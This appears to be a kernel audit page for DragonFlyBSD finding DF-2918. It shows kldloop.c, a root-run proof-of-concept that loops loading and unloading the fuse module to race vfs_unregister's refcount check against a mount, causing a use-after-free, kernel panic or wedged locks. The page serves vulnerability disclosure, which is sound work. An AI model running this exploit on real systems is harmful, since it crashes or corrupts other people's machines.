DragonFlyBSD Kernel Audit
DF-2918 / kldloop.c
← back to finding ↓ download raw
/*
 * DF-2918 PoC - privileged conspirator side (must run as root).
 *
 * Keeps fuse loaded and hammers kldunload(2). While any mount holds a
 * refcount, vfs_unregister() vetoes with EBUSY. The instant the (racy)
 * refcount read in vfs_unregister() observes 0 while a mounter thread is
 * between vfsconf_find_by_name() and vfc_refcount++,
 * the unload succeeds and rips the vfsconf/vfsops out from under the
 * mounting thread -> UAF write (refcount++ into freed module pages) /
 * indirect call through freed vfsops -> kernel panic (or, if the module
 * address range is re-mapped first, silent state corruption that wedges
 * the mount path in kernel locks - both outcomes were observed).
 *
 * GAP: after a successful unload we sleep, so the module address range
 * stays UNMAPPED - a mounting thread that then dereferences its stale
 * vfsp/vfsops pointer takes a kernel page fault instead of silently
 * hitting a re-mapped fresh copy of the module.
 *
 * usage: kldloop [gap_usec_after_unload]  (root)
 */
#include <sys/param.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

extern int kldload(const char *);
extern int kldunload(int);

int
main(int argc, char **argv)
{
	long loads = 0, unloads = 0, vetoes = 0;
	useconds_t gap = 10000;

	if (argc > 1)
		gap = (useconds_t)strtoul(argv[1], NULL, 0);

	for (;;) {
		int id = kldload("/boot/kernel/fuse.ko");
		if (id > 0) {
			loads++;
			while (kldunload(id) < 0) {
				if (errno == EBUSY) {
					vetoes++;
					usleep(20);
				} else {
					perror("kldunload");
					usleep(1000);
				}
			}
			unloads++;
			/* keep the module address space unmapped for a while */
			if (gap)
				usleep(gap);
			if ((unloads % 200) == 0) {
				printf("loads=%ld unloads=%ld vetoes=%ld\n",
				       loads, unloads, vetoes);
				fflush(stdout);
			}
		} else {
			if (errno != EEXIST)
				perror("kldload");
			usleep(100);
		}
	}
	/* NOTREACHED */
	return (0);
}